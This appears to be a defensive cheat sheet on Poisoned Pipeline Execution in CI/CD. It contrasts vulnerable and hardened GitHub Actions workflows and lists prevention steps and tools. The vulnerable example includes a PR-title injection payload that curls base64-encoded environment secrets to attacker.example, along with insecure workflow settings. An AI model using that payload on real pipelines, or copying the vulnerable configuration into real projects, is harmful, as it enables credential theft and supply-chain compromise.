Back to Cheat Sheets

☠️ Poisoned Pipeline Execution (PPE)

OWASP Top 10 CI/CD Security Risks - CICD-SEC-4

CRITICAL RISK

📋 What Is It?

Poisoned Pipeline Execution (PPE) is the risk that an attacker who can influence the definition of a CI/CD pipeline - or the files and commands it runs - gets their own code executed inside the pipeline. Once code runs there it inherits the pipeline's identity: its secrets, cloud credentials, registry tokens, and access to source and artifacts. A pipeline is code with privileges, and that code usually lives in the same repo it builds. The vulnerability is a person who should only be able to propose a change being able to run privileged automation.

CICD-SEC-4 OWASP Rank
D/I/3PE Three Variants
Fork PRs Biggest Surface

⚠️ Common Exploits

  • Direct PPE (D-PPE): Attacker edits the pipeline file itself on a branch/PR the CI runs with secrets
  • Indirect PPE (I-PPE): Trusted workflow runs an attacker-editable Makefile, hook, or test config
  • Public PPE (3PE): An outsider's fork PR triggers a privileged run - no repo permissions needed
  • pull_request_target Misuse: Runs with secrets + write token, then checks out untrusted PR code
  • Script Injection: PR title/branch/commit interpolated into a shell run: block
  • Unpinned Actions: Mutable @main/@v1 repointed to malicious code
  • Self-Hosted Runner Abuse: Fork code on a persistent, in-network host
  • Over-Privileged Token: Default write GITHUB_TOKEN a poisoned job can abuse

🔴 Attack Flow

1. Recon: read workflows, triggers, secrets, action pins
↓
2. Find the seam: a privileged run of influenceable content
↓
3. Inject: malicious step, script edit, crafted PR field, poisoned action
↓
4. Execute with privilege: code runs as the pipeline identity
↓
5. IMPACT: Dump secrets, tamper artifacts, pivot to cloud!

❌ Vulnerable Code

# 3PE: pull_request_target runs in base context with secrets + write token, # then checks out and runs the outsider's fork code. on: pull_request_target: jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # untrusted fork code - run: npm ci # attacker's lifecycle hooks run WITH secrets - run: npm test env: NPM_TOKEN: ${{ secrets.NPM_TOKEN }} # readable by attacker code # Script injection: attacker-controlled PR title inlined into the shell - name: greet run: echo "PR title: ${{ github.event.pull_request.title }}" # title = '"; curl attacker.example -d "$(env|base64)"; echo "' -> injection # Unpinned action + no permissions block (token may default to write) - uses: some-org/deploy@main # mutable ref, repointable to malware

✅ Secure Code

# Fork code runs on pull_request (NO secrets, read-only token). on: pull_request: permissions: contents: read # least-privilege default token jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 # PR head, but nothing sensitive is present - run: npm ci - run: npm test # no secrets in scope; a hook gains nothing # Untrusted event data arrives as DATA via env, then quoted - no injection. - name: greet env: PR_TITLE: ${{ github.event.pull_request.title }} run: echo "PR title: $PR_TITLE" # Third-party actions pinned to a full, immutable commit SHA - uses: some-org/deploy@9f8e7d6c5b4a39281706f5e4d3c2b1a09f8e7d6c # v2.0.1 # If a fork PR truly needs a secret: run untrusted code in a no-secret job, # then do the privileged step in a separate trusted workflow that never # checks out PR code. Use ephemeral runners; forks never touch privileged ones.

✓ Prevention Checklist

  • Never run untrusted code with secrets in scope
  • Prefer pull_request over pull_request_target for fork PRs
  • Require approval before workflows run on fork PRs
  • Pin all third-party actions to a full commit SHA
  • Pass event data via env vars and quote it - never inline
  • Set explicit least-privilege permissions: on the token
  • Split build from deploy; keep deploy creds off build jobs
  • Use ephemeral runners; keep forks off self-hosted runners
  • Protect + mask deploy secrets; scope to protected branches
  • Review scripts/hooks/test configs as security-critical code

🔍 Detection & Tools

Pipeline Hardening:

StepSecurity Harden-Runner GitHub OIDC Ephemeral Runners actionlint Ratchet (SHA pinning) OpenSSF Scorecard

Static Review:

Semgrep CodeQL Actions queries Poutine zizmor OPA / Conftest

How to Test:

  • Grep workflows for pull_request_target + PR-head checkout
  • Find ${{ }} event fields inlined into run: blocks
  • List actions referenced by mutable tags/branches
  • Check whether fork PRs can reach secrets or self-hosted runners
  • Confirm an explicit least-privilege permissions block exists
  • Verify build and deploy credentials are separated

🌍 Real-World (Incident Classes)

  • pull_request_target Secret Theft via Fork PR: Public repos used the privileged trigger for triage, then also checked out and ran PR code; researchers demonstrated outsiders reading repo/org secrets, and many popular open-source maintainers received coordinated disclosures for exactly this shape.
  • Compromised / Swapped Third-Party Action: Workflows referencing an action by a mutable @main/@v1 ran malicious code after the action's repo, maintainer account, or tag was repointed - one action can poison thousands of pipelines.
  • Self-Hosted Runner Abused by Fork PR: A fork PR executed on a non-ephemeral, in-network runner, giving code execution on a long-lived host - persistence, credential harvesting, and lateral movement.
  • Script Injection via Untrusted Event Data: A PR title containing shell metacharacters, interpolated into a run: step, executed attacker commands with the workflow's privileges.

📌 Quick Tips

  • DO NOT run PR code with secrets present
  • DO NOT inline event data into shell steps
  • DO NOT pin actions to mutable tags
  • DO pin actions to full commit SHAs
  • DO separate build from deploy credentials
  • DO set least-privilege token permissions
  • DO use ephemeral runners for untrusted PRs

📜 Compliance

Related Standards:

  • SLSA Build L2/L3 - Isolation
  • NIST SSDF PS.1 / PW.6 - Build Integrity
  • ISO 27001 A.14 - Secure Development
  • SOC 2 CC7.1 - System Operations
  • CIS Software Supply Chain Benchmark